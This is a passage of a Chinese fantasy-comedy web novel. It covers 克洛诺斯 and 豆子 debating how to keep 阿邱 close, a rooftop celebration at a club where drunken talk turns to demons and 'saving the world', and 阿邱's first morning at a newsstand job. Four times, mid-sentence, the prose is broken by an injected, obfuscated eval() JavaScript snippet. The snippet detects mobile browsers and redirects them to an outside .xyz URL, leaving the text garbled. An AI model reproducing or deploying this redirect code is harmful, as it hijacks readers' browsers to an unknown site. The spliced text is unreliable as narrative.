克洛诺斯迷茫道:“哪句?” ……也罢,豆子也是疯了才会妄图帮傻子唤醒头一天的记忆。 傻子执拗地回到了自己的话题上:“而且我看得出来,阿邱小姐自己也想留在那里,你们两个在下面比试时,她对我说了一句悄悄话……在揭晓这句神秘对白之前,我先问你,你对阿邱小姐这个人有什么看法?” 早该习惯了。领导就是这样,离了捧哏就没法顺畅地把意见阐述下去。 当然豆子也并不是个言听计从的下属,既然领导诚心诚意地发问了,他也直言不讳地回答道:“我的看法是,这种人,全世界有你一个就够了。” “哦?你是指哪方面?”克洛诺斯老脸一红,“惊为天人的脸、超乎常人的实力,还是慷慨大方的性格?” “……当我没说。” “别这样嘛!就从脸说起,你有没有感觉,相较于穿着打扮而言,阿邱小姐长得实在——怎么说呢,太过华丽了些?她就不该像个流浪汉一样,坐在那种破破烂烂的咖啡馆里,喝着植脂末兑出来的垃圾饮料——” “她应该像个公主一样,穿着束腰和裙撑坐在花园里生病。” “还没到那种程度啦!但这确实是我觉得最奇怪的一点,她现在的样子,就好像、就好像——” “全镇的井盖都是她偷的。” 21. 第十八章 植物人(2) “说真的,罗宾小队员,还好你不在当事人面前,否则那堵墙上会多出一个大窟窿……” “所以我都背着人说。” “算你聪明。先别打岔,我的意思是,我完全理解她的心情,她就跟很多行政机关的女官员一样,在男人堆里成天担惊受怕的,宁愿丑化自己,也要刻意淡化性别特征——” “你是想说,她怕被人抨击富足的生活全是靠脸换来的?”这就属于过度投射了,豆子充分相信克洛诺斯时常有这种感受。 “不不不,你想到哪里去了,我才没这个意思!” “那就是……‘处境很危险’?” “对咯,正是因为她生活在动荡之中!动荡让人有意无意地对外貌疏于关注,甚至我怀疑她的住处都没怎么好好收拾过;生活越无章法,心中就越无牵挂,机动性也越高,就是这么个道理。” 豆子联想到的是性犯罪,克洛诺斯显然不是在跟他说同一件事。 “但我觉得动荡不是坏事。还记得我跟你提过的三个月的诅咒吗?” 非得把什么事都扯到这上面来吗? “为什么是三个月?有人分析过,三个月,正好是一个新出狱的囚犯适应外面的世界、习惯稳定的生活所用到的平均时间。”克洛诺斯笑意减淡,“在稳定而非动荡的生活中,过去的创伤反而会没有阻碍地浮到心湖表层,日夜折磨人们的意志,当她们意识到过去的没有真正‘死去’,而自己终归和这个世界格格不入时——悲剧往往会发生在看上去最美好、最有希望的时刻。” 原来是忍耐“自己”的极限吗…… “所以,我们要尽可能地确保邱小姐一直生活在动荡中!” 这是怎么得出的结论啊!? 克洛诺斯一瞬间又抛掉沉重,摩拳擦掌道:“首先不能直接阻止她要办的大事——要是能确认这件事不伤害到其他公民,我们就主动为她提供帮助;等大事一办完,我们就要开始给她的生活制造事故了!” 邱小姐,快跑啊,野狼来了。 “——并在此期间施加正确的引导,一直把她拽回到正轨上为止,说不定她真的还会去参加公职人员入职考试呢!照这种设想,在正式上岸前,以她现在的状况还是藏匿在暗处为妙,越少暴露在人前就越安全——要知道,那些精于演讲之道的瓦片黄牛可不是好对付的啊。” 费了一番功夫,豆子总算理解了克洛诺斯一切行动的纲领不过是心软,于是也放松了精神道:“你要是想亲自下场‘正确引导’,干脆给她个兼职干呗。” 克洛诺斯拍拍他的左肩:“我正有此意!不过时机未到,现在的终止式其实也很不安全。” 生怕豆子理解出错,他颇没有气势地补了一句:“因为我们正在被人监视。” 豆子心想:在今天之前,这事只有你和野狼不知道。 克洛诺斯像是发现了什么不得了的大事,忽然“呵呵”一笑,目光带了刀锋般的锐利:“而且那位搬运工给我的感觉是,终止式被监视的原因,很可能就跟阿邱小姐有关。” 这倒新鲜。豆子瞥向他:“怎么讲?” “不方便在广场上讲。” “那就先别管太多了。”感觉到大聪明总算在天光大亮时取代了大傻帽,豆子不带怀疑地替队长出主意:“邱小姐还是放在身边看着比较安全。” “可我不知道怎样才能让她回心转意……” “敲晕了带走?” “不,我对女孩子干不出这种事。” 豆子的后颈还疼着,心情复杂地说:“你下不了手,那我来敲。” “你可省省吧,敲完以后怎么办?我们的初心是让她自愿回头、自愿留下。”克洛诺斯分析起自己的复印件来总是稳准狠的,“我还猜她是不是被婉拒伤透了心,一怒之下投入别人的怀抱,再也不向着我们了……” “是么?可我看她走出指挥处时还一副迟早杀你个回马枪的样子——” “跟你一样,心理活动全都写在脸上了”,这句话也被豆子暗自消化了。 原件像是在替他自己反驳:“不对,那个很可能只是她的演技。” “心理活动还能演出来?” “人有时也需要骗过自己嘛,而且本质上,阿邱小姐只给人一次机会,为了显得比较宜人,会假装多给个两三次什么的。” “这都什么乱七八糟的性格啊……”不管了,豆子两个一起骂。 “让让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052067|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,刚出社会的新人是这样的,老爱用静态的理论去看待动态的现实,忘了人是动物不是植物;这个毛病要是不趁早改掉,她会在永无止境的动荡中慢慢失去一切的……” 说着克洛诺斯懊恼起来,明明是在分析别人,眼睛却一直盯着脚尖,仿佛是在自我反省。 负面情绪只停留了一瞬,紧接着,浮夸的B级角斗士又回到了他的身体里:“可恶,早知如此,豆子,你从一开始就该动真格的!” 目标设置理论谁都懂,就算没有提前商量,豆子也看得出“查封”只是克洛诺斯的话术,照他说的,如果豆子刚出手就把人打趴下了,他老人家肯定会当场改口:“如此甚好。但我们并不是冷酷无情的执法机器,只要交出阿邱小姐,就饶你们不死!” 可计划进行到一半,这人兴奋过头忘乎所以,被人牵着鼻子走,就使得整个过程变成一场儿戏。 于是豆子毫无负担地把锅扔了回去:“不用想那么远,要不是你那句‘愿赌服输’已经掉在地上砸出个坑了,我们还有挽回的余地。” “……你是对的。哦,我的女神,真是失策啊——可是不能就这么算了,我们总得想个合情合理的借口……” “你自己晚上钻被窝里想,让你脖子上的那颗瘤子偶尔也工作一下。” “你说什么?为领导分忧解难不该是警卫员的基本素养吗,好恶毒的一个小队员啊!” “分忧解难和拿命填你脑子里的天坑,这两者我还是分得清的。” “天、天坑?” “是。三岁小孩都知道的常识就是从那里漏到地心的——你猜怎么着,植物根本就不是静态的。” 克洛诺斯可算抓住机会狡辩了:“不要说得太绝对,相对于动物而言,植物当然算静态的了!自然界就是这么神奇,你看,高山、大海、参天大树、树上的藤蔓……哪怕是路旁的一块小石头,变化越不明显,存续的时间就越久。可是这也并不代表人类就输给了它们,没有动荡、没有跌宕起伏的剧变,生命要如何绽放光彩呢?” 又装起哲人来了。白眼翻归翻,豆子却很清楚他说这些话的动机从来都不是卖弄学识。 ——因为他连常识都不具备,遑论学识呢。 22. 第十九章 魔法(1) “‘狮鹫’物流?他们真的骑着狮鹫送货吗?” “怎么可能嘛!那种传说中的魔兽早在传说时代就被人赶跑了,不然为什么要叫‘传说’?” ——嘴上说着回店后要好好教训胡闹的年轻人们,“爆栗子让你们一顿吃到饱!”,到了俱乐部门口,牧笛查看了邮箱里的本周订购手册,又被鹤隐岛风裙装专栏吸引了注意力,高高兴兴地招呼阿邱过来看,恶棍们的老拳危机便也解除了。 “……然后携带通行证去邮局取件,要么就在订购时选择升级成‘狮鹫速达’,叫人送到家门口,哦哟,一般人我都不推荐她这么做,死贵死贵的。”牧笛事无巨细地介绍着自己的小爱好,一见阿邱哈欠连天的,才想起来问她:“昨晚睡得怎么样?” “挺好的。主要是房间隔音效果好,我一觉睡到快天亮,完全没被吵醒!” 听此话,牧笛面露羞愧之色:“不关隔音的事。都是我店的生意太冷清了,昨儿个晚上也是早早就关了门。” 说着又恼怒起来,一张黑脸上浮起红晕,状似一团正在燃烧的蜂窝煤:“都怪五栋六栋那些个妖艳贱货!亏他们想得出来,最近都关起门来搞家庭小作坊了,客人们图新鲜,也更愿意去隐蔽些的场所……” 阿邱觉得再听下去耳朵就要长毒蘑菇了,连忙打断他:“祝淡猫俱乐部早日恢复生机!” 牧笛的眼珠子转了转:“恢复生机说来不难,多招几个有姿色的年轻人就是了……唉,现在都没几个人愿意干这行,别说年轻人了,退了休的都难找哇。” “不如你亲自上吧。”夜之窟的大英雄苏西端着西瓜走过来,嬉皮笑脸地说,“咱们的目标客户缺乏的是一种父母交织的爱,纵览全境,恐怕也只有你牧笛才能满足这种需求了。” 刚才,为了赶跑簇拥着英雄凯旋——作为附赠品,还想顺走价值一个金币的咖啡馆面包,以及胡乱摆在门口小酒桌上的肉酱面——的人们,苏西很费了一番功夫,最后他得到了群众的怨恨,抵消了他为“长脸”付出的努力。 至于内伤嘛,据当事人所说,早在他把五袋罗宾豆摔到地痞脸上时就好全啦! “你可能觉得诡异,但世界之大无奇不有,我的体质确实和常人不太一样。” 阿邱认为他还把痊愈时间说保守了。若非如此,对决时,既要挑事、事到临头还要坚持正派作风的终止式,又怎会在一开始就拿出一半以上的实力呢? 苏西却理解错了她目光里的怀疑,wink了一下,说道:“我也不是故意要像个怪物的,我打过疫苗,不咬人的,你知道了就当没知道,不要到处说,不然疫苗很可能会失效的哦。” 阿邱无视他话语中威胁,把捡回来的罗宾豆放回茶几上:“我理解我理解,夜之窟真是藏龙卧虎哇,每个人都能在这里找到自己的位置!” “是不是愈发喜欢这里了?” “对啊!真想一辈子住在这儿。”阿邱的奉承话张口就来。 ——老同事之间用不着奉承,得到苏西阴阳怪气的职业规划,牧笛气愤地拧腰跺脚:“净会耍嘴皮子!” 一直缩在角落里的影接过餐盘,沉默着把西瓜端到最大的卡座。众人跟上他,阿邱拉住落在后头的苏西,除了伤势的愈合速度,她还对惹急了豆子的那段八卦很感兴趣。 “你是说,克洛诺斯是你的老同行?” “没有啊,我瞎编的。” 又在敷衍了,真没劲。 阿邱下定决心,苏西要是问“你是怎么抢走咖啡壶的”,她会编个更离谱的理由搪塞他,谁知人家沉得住气,压根就没问。 罢了。反过来推测,包括摩罗斯的事在内,苏西知道的恐怕比阿邱预想的还要多得多。 好啊,他这么擅长把别人惹急,有朝一日阿邱真被惹急了,就……灌醉了做掉,然后交换,这样她就什么都知道了! 西瓜下了肚,由夜之窟英雄褪色成俱乐部刺儿头的苏西提议道:“今天晚上干脆别营业了,好不容易聚到一起,我们开个庆功宴吧,顺便给邱小姐接风洗尘。” 这——这是怎么好意思提的?阿邱偷眼看看牧笛,生怕他在此刻想起爆栗子之约,孰料他稀里哗啦地席卷了一大块西瓜,含糊着照直答应了:“行啊,就这么办吧。” 夜幕降临。 苏西的庆功宴暨阿邱的洗尘宴,噔噔噔噔,隆重开场! 地点:淡猫俱乐部天台、席地而坐;宴席承办方:无,如果非得有,那就是栏杆上蠢蠢欲动的鸽子们;菜品:价值半个金币的面包,已加热到鸽子会觉得烫嘴的温度。 一切都可以敷衍,只要酒是最好的。 “你还没到21岁,你不能喝酒。”父母交织的牧笛劈手夺下阿邱的酒杯,“不是因为人家舍不得十八年的窖藏哦。” 夜风并不宜人。影咳嗽着笑道:“你越拦着她越想喝。” “不会不会,有牛奶也行。干杯吧各位!” 三杯酒和一盒儿童高钙奶碰到了一起。 阿邱早早确立了灌酒目标,先人一步起哄道:“苏西苏西,这个局是你攒的,你来说祝酒词!” “好啊。”苏西的妆早就花了,可能是为了保持落拓的美感吧,到现在为止都没仔细洗脸,用指甲油片片剥落的食指点着浮粉的下巴想了想,一拍手道:“有了。大家的来处和归途各不相同,那我就说个各行各业通用的吧——愿大家早日上岸!” 阿邱先是一愣,继而夸张地拍着大腿笑起来:“什么呀!我们又不是魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052068|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族。” 苏西点名道姓地问:“邱小姐,你为什么要讨厌魔族?” 来了吗?淡猫对她的了解到底有几分,看在月亮弯到能收割人头的份儿上,不如现在就开诚布公地聊一聊吧! 身为矜持的女性,阿邱总是希望对方先开口的,但适当地提供一点引导也并不破坏这种气质。 “怎么,就我不能讨厌吗?”阿邱摇晃着红酒杯……牛奶盒,尝试露出一个游刃有余的笑容。 苏西看她跟红土塑的幸福之家雕像似的,忍俊不禁道:“不只是你啊,我觉得大家都不该讨厌魔族。” “为什么?” “你猜魔法为什么叫‘魔法’?” 是的,由于汉语是这个世界的官方语言,此处暂且不论evil、demon与magic、witchcraft之间的历史渊源与构词异同。 “你这么一说确实有点……但这只是个巧合而已吧?” 苏西粲然一笑,语出惊人:“我是在想有没有一种可能,先有魔法,然后才有魔族?” “不可能!” “绝无可能!” “请停止你的危险发言!” 价值观受到冲击的三个人齐声喝止。 苏西勾勾嘴角,无趣地饮下杯底的酒。 微醺的影眼看着话变多了,啐了一口道:“去他*的,老子才不信世上真有什么魔族,当局成天放假消息讹钱,谁他*真在路边见过一只了!” 如此愤慨,说明他之前很有可能被假消息讹过钱。 斗争的嗅觉最灵敏的年长者牧笛四下看看,慌张地把话题拉回到正轨:“你们干嘛啦,不是在说上岸的事吗!尊重一下小苏西的祝酒词好不好?正好人家也跟他想到一块去了,再帮他补充一道附加题:对你们来说,‘岸’在哪里?” 苏西感激一笑:“那就从小牧笛开始说起吧,你的岸在哪里?” “这还用问?人家要把生意做大做强、吞并整个楼栋,还要把连锁店开到邻镇去,取名浓狗!” ……这个路径该不会是遇到阿邱之后新想的吧。 等下,清醒一点,开诚布公的事又被苏西敷衍过去了!这下可好,阿邱已经在被惹急的道路上狂奔了,要不是这里还有别人在,她会一路跑到苏西的心口,把里面的闹钟挖出来看看发条究竟拧了几圈。 “你呢,邱小姐的岸在哪里?” 放下屠刀立地成佛? “我应该是找不到了——找到了上去也难,唉。” “这样的人生才有挑战性啊!你先说着,我们大家帮你分析分析。” 父母交织的人都这么问了,阿邱把牛奶盒往地上一掼,朗声道: “我要去拯救世界!” 23. 第十九章 魔法(2) 预想中的嘲笑没有立即袭来,牧笛先是感到疑惑:“世界哪里不好了,为什么需要你来拯救?” 阿邱挠头:“这就是症结所在了。” 从绷带的起伏来看,影皱了皱眉头:“你这是白骑士的愿望吗?” “白骑士?” 苏西响亮地“哎”了一声,把空酒杯怼到阿邱面前,延续凌晨时分的惯性为她指点迷津:“这有何难?先毁灭,再拯救,你就变成万众敬仰的救世主了!古往今来的先贤都是这么干的,你大可向他们学习。” 牧笛猛掐他大腿:“这是什么话?少侮辱先贤了你!” 苏西挑眉:“怎么,你是在我们不知道的地方独吞了谁的封口费,还是有人拖你到墙角拿枪指着脑门威胁了?” 牧笛这块黑煤球又燃了起来,扭着身子道:“讨厌,真要是被那样对待还好了。” 苏西嫌弃地甩开他:“邱小姐说得这么自信,你肯定有自己的计划吧,快说出来指导指导我们这群没见识的。” 谈何指导啊,就连阿邱自己都是刚发现每条路都走不通的——先前没发现,是因为她还有逃避现实的方法,有幸可以不往深了想。 对她来说,“上岸”最大的难题是有套固定的、不可调整顺序的程序:变成纯粹的人类→从纯粹人类的角度发现世界为什么需要拯救→成功拯救世界、受人爱戴、找到活下去的意义。 上述任意环节出点岔子,这条路就会被堵死。打个比方,假如在出发点就受到了阻碍,按照苏西的指点——准确来说,按照苏西道出的真相,她将不得不走上第二条路:没有变成纯粹的人类→在魔半脑的控制下制造出一场灾难→亡羊补牢式地拯救世界→赎罪、尤其是为自己的血统赎罪→一生都在被众人怨恨。 事实上,最有可能的一种结果是:她在变或不变的岔路口上轰然倒塌,再也没有明天了。 这还不够接近真相。放弃一切幻想的话,有两条以上的岔路其实也是她臆想出来的。 娜塔莎,或者说潜意识一如既往地不考虑实际情况,眼睛只盯着“最终她实现了梦想、得到了幸福”的大结局。由于它是阿邱这具动物机器的唯一引擎,要求它冷静理智地分泌……现实适应素?宜人麻醉剂?集体融入润滑油?管它什么呢……未免都太理想化了些。对,这才是真正的理想化,但是很多人都高高在上地不愿意承认。 即便多了鸫这个变数——止痛剂般的变数,事情照预想发展的希望也是非常渺茫的,做做梦得了,怎么还当真呐? 阿邱很快冷静下来,把自己浸没在了“当下”。已确定没有未来、又无法抽身离开的人,通常会被死死捂着口袋的人要求“关注当下”,这是语言的魔法,更有可能是赋格魔法,很实际啊,怎么会理想化呢?总比放任他们沉浸在对过去的追悔和对未来的臆想中要合乎道德吧!就算无法离开“当下”这个仅供单脚站立的位置、被找出破绽的歹徒活生生冻死,断气的时候脸上也是笑着的。 “哈哈哈,先不谈宏大的理想,来说点实际的吧——像我这种人,死前能不能谈上恋爱都是个大问题呢!”目前来看,阿邱转移话题的诉求比谁都迫切。 大家都有点喝醉了,牧笛神神叨叨地摇晃着手指:“你一定能谈上的,我话就撂这了,要是你谈不上,尽管一枪崩了我……但是小姑娘,你必须记住一点:只有肉//欲的爱情,到头来都是一盘散沙!” 好、好耳熟的一句话……? 阿邱凑近他:“那请问,什么样的爱情不是一盘散沙呢?” “至少两个人要有共同语言才行!小到上床睡觉的时间,大到习惯用哪种手法抛尸……可别瞧不起日常生活中的点点滴滴,有个诗人曾说过:对眼前每一缕阳光和微尘的在乎,都是击退过去、召唤未来的魔法。” 阿邱发现这句诗她也很喜欢,故而猜测:“应该不是写圣诗的诗人吧?” “你说笑了,圣诗怎么会是人写的?” “什么意思?没有人写,哪里来的圣诗?” 苏西插话道:“看,又想复杂了不是。你猜‘圣诗’为什么叫圣诗,而不是‘人诗’?” 阿邱抱住了头:“Holypeople,HolyGod……” “你在骂人还是在夸人?”根据夜之窟的语言习惯,people和God的位置通常都是“crap”,所以苏西才有这一问。 “我是在不甘心。”这是人半脑在说话。有时候阿邱觉得自己很矛盾,比瓦德密尔这座城邦还要矛盾:越是看清楚自己要去的方向,越是能找回理智;越能找回理智,就越是坚定不移地朝着不存在的道路狂奔而去。 趁牧笛以袖掩面、呜呜咽咽地回忆起了旧爱,苏西递给阿邱一个酒杯:“我就喜欢你这种永远没法放过自己的人。” 啥呀,阿邱心想,得知了她的两件“真相”,谁又肯放过她?杀人先杀己,未尝不是一种具有古典美的角斗士之道。 “那你快去劝劝森林戍卫队、劝劝终止式,叫他们都来喜欢我,很急,长官们最需要的就是夜之窟的智慧!” 这里阿邱犯了社会新人常犯的另一个错:不合时宜地暴露出创伤。 尝到了晕眩的美妙,她抹掉嘴角酒渍,接着说道:“明明我很讨厌血腥和折磨人的场景,可我不主动出击,这种事情就一定会发生在我身上,你能明白吗?” 苏西还清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052069|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,合乎逻辑地把她说过的话联系在一起:“你要虐待你的情人吗?” 阿邱看了眼大哭着“过了今晚人家就再也不想那个死鬼啦”的牧笛,面露愁容:“才没有,感觉我这样的人反而更吸引家暴男呢——虽然他在动手的前一秒就已经被我嵌进桥底当人桩了。” 察觉到魔半脑的不受控,一小口酒还嫌不够,阿邱干脆抢来酒瓶,狠狠灌下去一大半。 什么味道也没有。当然,这不是酒的问题。 再往后的记忆就断片了。据他人回忆,散席时,阿邱嚷嚷着:“我才不睡觉,你们快营业!我要看舞男!没有舞男,苏西这个大骗子上也行!去他姑丈的、去他姨夫的,今天晚上我偏要融入你们、彻夜狂欢!” 两个壮汉合力拉住了她,以为这样就算消停了。谁知苏西洗澡的时候,她又诈尸一般蹦起来,硬要闯进浴室,理由还找得冠冕堂皇的:“我要见识一下卸了妆的苏西,看他还怎么敷衍我!”这是因为:“牧笛大姐你知道吗,人赤条条的样子才最真诚,不信我可以证明给你看!” “别让她脱!”牧笛尖叫着捂眼睛,支使倒霉的影上前阻拦。 她不确定最后有没有谁的裸//体被看到,只知道很久以后问起这个时,牧笛饱含同情地瞥了苏西一眼。 ———— ———— 好容易把人摁进了被窝里,影累得仿佛刚打完一场硬仗,瘫倒在沙发一角。 见苏西擦着头发下楼,嗔怪怪牧笛又在嗔怪了:“你还笑得出来!” “为什么笑不出来?刚才我在天台抽烟,发现了一件巨好笑的事。” 和昨晚同样的时间,那个银蓝的影子在街口一闪而过。白天刚交过手,这时的苏西可不会再怀疑影子的身份了。 ——哦,不是因为失去美貌被终生禁考调律师资格证的那个影,这家伙喝点酒就睡得跟死猪似的,考上了也白搭。苏西嫌弃地一脚踢开他,给自己腾出一个位置。 “什么事这么好笑呀?妖艳贱货们没拉到客?”牧笛把合上的卷帘门掀开一条缝,撅着屁股,兴高采烈地准备看竞争对手的笑话。 苏西沉吟片刻,竟表达了赞同:“你别说,你这个梦想可能真的实现了。” 很多人自认为地位足够卑贱,仗着它在暗处穿行,忽略了每个人的身上都黏着几道视线的真理。 邱小姐话说早了,世界不需要拯救才不是她的“症结”所在。审视、监察、跟踪——一般的手段践行普遍的规则,而个体的行为却是很难预测的。 只有每年狂印一亿多本圣诗集的机器才容易被预测,方便人们在它出故障时拿去维修、换部件,或是劈碎了生火。 24. 第二十章 新手村(1) 酒精会加剧人的神经兴奋,又一次很晚才入睡,阿邱却仍在凌晨时分醒来。 宿醉带来的恍惚感就像晴天的海浪,温吞吞地拍岸而来,让人上瘾,阿邱捧着头,发出了“耶嘿嘿”的笑声。怪不得更早离开的“前辈”们都会在生命的最后几个月忽然开始酗酒,她这边条件更便利,还不用忍受头疼。 昨天她顶多偷了两口酒,十八年的窖藏就比她小两岁而已,没想到后劲儿这么大!生命还真是各有各的宽度呢。 由于她是被人扛进房间的,阿邱的头合乎常理地摆在床头,也就是俱乐部阁楼水滴石穿的发力点——她早该发现的,由于局部潮湿,墙上贴的符文都有溶解的痕迹,对魔女的杀伤力也湿答答地糊作一团;24小时已经过去,她不想适应也得适应,毕竟还有更重要的事等着她来思考,便无所谓地用水捋了捋头发,变成了一个临时大背头。 这个苏西还真是捉摸不透,鸫,你也没见过这样的人吧!临时大背头斜靠在床尾,冲着她最重要的平面朋友满怀不忿地复述了昨晚的对话,逐渐目露精光——哎哟,眩晕袭来、眩晕袭来,精光熄灭……昨天也算是一起经历过事儿了,可无论阿邱抄哪条近道想听他几句真话,他就是不肯透底。瓦德密尔啊,你是个会让话题闪躲术无限精进的坏城邦! 岂止是苏西,牧笛和影又能好到哪儿去?谁都好,阿邱简直想揪着他们的领子问:“为什么无缘无故收留我?为什么不肯说明原因?你们到底要挖走我哪一颗内脏?尽管挖,怕你不成!反正过段时间又会重新长出来的。” 她已经分不清直截了当的拒绝和雾里看花的客气哪个更伤人了。 一直想着伤不伤人的也很伤脑筋,人半脑提醒道,与隔壁的魔半脑合计合计,按照上岸的标准,假装收集到了不少有价值的信息,晕晕乎乎地分析起了现状: 这样一来,人头就凑齐啦!就和全世界的冒险故事一样,昂首阔步走进新手村的勇者阿邱,和村里的三股势力各自有了交集,首先是森林戍卫队:先允许,后拒绝;然后是终止式:先拒绝,后允许;最后是她的落脚点淡猫俱乐部:不拒绝,不允许。 主要人物集结完毕,精彩的冒险即将展开!接下来会发生什么呢、接下来会发生什么呢?阿邱兴奋地搓着手——是恶龙发来挑战书,声称不日将踏平王城、抢走公主;还是邪恶教派预备复活古神,用鲜血在广场中央画个大大的六芒星,待到深夜施展禁咒,献祭无辜的村民? 现实中的教派是永不可能邪恶的,那么现在只缺一条恶龙了。可是上哪去找恶龙啊,难不成要骑着狮鹫回到传说时代? 人半脑认为,虽然冒险故事几百年来都是这样写的,为了不显得生搬硬套,还得加点顺应时代的处理。 那就换一种说法吧,上过大学院的勇者!样本已经收集齐了,接下来就该随机分配实验任务啦。 实验课题1:瓦德密尔各界人士对界门纲目科属种只有一则孤例的半人半魔究竟在打什么主意? ——在他们明面上未必知道阿邱是孤例的情况下。 实验课题2:目前看来尚不需要救世主的世界,究竟为什么邀请她来当救世主? ——邀请函恐怕来自神秘的邪恶教派,等实验得出结论的那一天,说不定就有人要被献祭了…… 阿邱沉甸甸地往下一躺,半干的头发耷拉回了额头上。 果然,换用理性的方式思考,真正的问题才会浮现出来:勇者缺的根本不是恶龙,而是引路人的角色。 引路人不都是穿着长袍、拄着木杖主动出现在路口的吗?何时需要勇者提起十二分的警惕自行去辨别了?有那么一瞬间阿邱会觉得:这还不如回到塔尔塔洛斯呢!最起码那里面的生活很简单。 或许,这就是名为自由的眩晕吧。 ———— ———— 煎鱼半个钟头,阿邱干脆爬起来干一件最适合独自在灯下干的活:动手改造新衣服。有的需要裁短,有的需要缝上□□,实在改不了的,就拆开来留作口袋的原料。 当这项漫长却有趣的工作进行到一半时,牧笛来敲门了: “酒醒得怎么样了?老库奇的身体状况有好转,今天早上你就可以去报刊亭报道啦。” 阿邱欢呼一声,从乱七八糟的布头堆里站起身,举着改好的衣服问他:“太好了——牧笛大姐,你们附近有洗衣房吗?” 牧笛躲避着鼻子前的怪味文物:“噢哟,拿远点!洗衣房有啊,我办了一张半年卡,一会这些衣服我帮你拿去洗,你下午回来就能穿了。” “是因为天气变暖和了吗?” “不,因为他们用的不是水,而是矿力清洁魔法……” “呃,我是在问库奇先生的身体。” 牧笛一边下楼,一边摇着头道:“你就祈祷他多活两天吧。” 半年卡不计洗衣次数,那么阿邱也不能说是欠了牧笛的吧……不,不能这么算,就算是免费的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052070|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得还,洗一次衣服花不了什么大钱,总比昨天欠克洛诺斯的一个金币压力稍小些吧,别想逃,迟早出道的救世主! 短时间内无法周转这么多项开支,她开始考虑是否可以用劳动抵债,比方说,打扫卫生啦、通马桶啦、在厨房打打下手啦……厨房是个好去处,只要是肉眼看起来差不多的活,她都可以帮着干。 只可惜,没有客人就没有安保工作,而且这个位置通常是留给影的;灶上的事又全是牧笛在忙,阿邱无法掌控复杂的调味,实在爱莫能助,除非有人期待吃到天灾级别的饭菜…… 照这个思路,还有一个备选项:楼上的浴缸没通水——于是泡澡小鸭子不幸沦为了床头摆件,时常被阿邱捏得嘎嘎叫,在她一个人过家家时充当平面鸫的声带——想要合理利用空间的话,她可以填点土进去种上蔬菜。听着不太靠谱,可在背阴潮湿处让一些特定品种的蔬菜茁壮成长,也是阿邱的一项绝活。 至于欠克洛诺斯的那个金币嘛——反正都磨好杀驴刀了,做掉的时候……大不了一并做掉!现在,阿邱要支棱起眉毛和精神,就这么理直气壮地欠着他,一直到他想起来催债为止。怎么,不服气?都已经有这么多追随者了,偶尔过过被人欠钱不还的日子又咋了?人不能太贪心! 牧笛眼见着阿邱不知为何渐渐心虚起来,戳着项圈逗她:“你洗澡睡觉都不摘这个吗?就是家养的猫狗都没见这么乖的。” “这可不能随便摘,又不是眼镜!”眉毛支棱起来的阿邱把剩下的五官也往上面挂挂好,故作神秘道:“摘了就天下大乱了。” 牧笛不信,或者他不在乎天下大乱,改戳她脖子上危险的凹陷:“天天这么勒着,以后会不会长进肉里啊?” “怎么会呢!” 说不定早就长进去了哦。阿邱心口发凉地吸溜了一口早餐。 今天起得够早,她终于有时间为自己准备早餐了:把二手市场买来的过期燕麦片和昨天喝剩下的牛奶拌在一起,烘得半干、铺平,用勺子分成五等分,每份再分成两口吞——没有必要的仪式感可以增加吃饭的趣味性。 “对了,苏西呢?” 说起真正的友人,牧笛才变得更像他自己:“他啊,有事要忙,也不知道是什么事,一天天的忙死他得了!你可能很长时间都见不着他咯,让我们欢欣鼓舞!” 该不会是出去躲风头了吧?谁叫他打伤了公职人员呢。落子无悔,但愿他半道上不要被人劫杀,阿邱刮着碗底心想。 25. 第二十章 新手村(2) 在这个风和日暖的清晨,雇得一位新员工的报刊亭重新开业了。 阿邱坐在正方形的窗口里发愣,远远看去,好像一张没拍好的证件照。她没想到这里的工作竟会如此轻松,扶老板回楼上住处后,系好围裙,把卷帘门拉起来、小木桌搬到门口、格子布铺好,再把当期杂志整整齐齐地码出来,一天的劳动就算完成一大半了——想来这也是90岁的库奇先生保持长寿的秘诀吧。 